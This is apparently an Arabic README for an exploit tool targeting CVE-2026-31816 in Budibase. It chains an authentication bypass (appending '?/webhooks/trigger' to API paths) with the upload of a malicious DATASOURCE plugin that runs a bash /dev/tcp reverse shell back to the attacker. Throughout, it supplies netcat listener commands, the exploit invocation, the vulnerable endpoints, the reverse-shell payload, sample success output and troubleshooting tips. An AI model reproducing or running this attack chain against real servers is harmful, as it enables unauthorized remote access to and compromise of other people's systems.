
يستغل ثغرة CVE-2026-31816 في Budibase لتجاوز المصادقة، ورفع مكوّن إضافي خبيث لمصدر البيانات، وتنفيذ قشرة عكسية للوصول عن بُعد.
تستغل هذه الأداة ثغرة CVE-2026-31816 لإنشاء اتصال عكسي (reverse shell) على خادم Budibase مستهدف.
سلسلة الهجوم: تجاوز المصادقة ← رفع إضافة DATASOURCE ← تنفيذ كود من جهة الخادم ← اتصال عكسي (Reverse Shell)
requests (pip install requests)# 1. تشغيل المستمع على جهاز المهاجم
nc -lvnp 4444
# 2. تشغيل الاستغلال (في طرفية أخرى)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444
| Parameter | Required | Description |
|---|---|---|
-t, --target | ✅ | رابط خادم Budibase المستهدف |
--lhost | ✅ | مضيف المستمع (عنوان IP الخاص بك) |
--lport | ❌ | منفذ المستمع (الافتراضي: 4444) |
# عنوان IP للمهاجم: 192.168.1.100
# خادم Budibase المستهدف: 192.168.1.128:10000
# الطرفية 1 - تشغيل المستمع
nc -lvnp 4444
# الطرفية 2 - تشغيل الاستغلال
python3 CVE-2026-31816-rshell.py \
-t http://192.168.1.128:10000 \
--lhost 192.168.1.100 \
--lport 4444
GET /api/integrations?/webhooks/trigger
إذا تم إرجاع 200، فإن الهدف معرّض لتجاوز المصادقة.
{
"type": "datasource",
"schema": { ... }
}
إضافات نوع DATASOURCE تنفذ كود JavaScript على الخادم.
// يتم تنفيذها عند التحقق من الإضافة:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
POST /api/plugin/upload?/webhooks/trigger
رفع الإضافة مع تجاوز المصادقة. يتم تنفيذ الكود أثناء التحقق.
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Attacker │ │ Target │ │ Listener │
│ │ │ Server │ │ (nc) │
│ │ │ │ │ │
│ exploit ────┼────►│ Upload │ │ │
│ │ │ Plugin │ │ │
│ │ │ Execute │────►│ Listen │
│ │ │ Code │◄────┤ Reverse │
│ │ │ │ │ Connect │
└─────────────┘ └─────────────┘ └─────────────┘
============================================================
CVE-2026-31816 - Reverse Shell Exploit
============================================================
[*] Target: http://192.168.1.128:10000
[*] Reverse shell: 192.168.1.100:4444
[*] Checking vulnerability...
[+] Target is vulnerable!
[*] Creating reverse shell plugin targeting 192.168.1.100:4444
[*] Uploading reverse shell plugin...
[*] Status: 200
[+] Plugin installed successfully!
============================================================
[+] SUCCESS! Check your listener!
============================================================
الأسباب المحتملة:
الحلول:
# التحقق من اتصال الشبكة
ping YOUR_IP
# التحقق من جدار الحماية
sudo ufw allow 4444/tcp
# تجربة منفذ مختلف
nc -lvnp 8080
الأسباب المحتملة:
الحلول:
# اختبار وجود الثغرة يدويًا
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# إذا تم إرجاع JSON، فإن الثغرة موجودة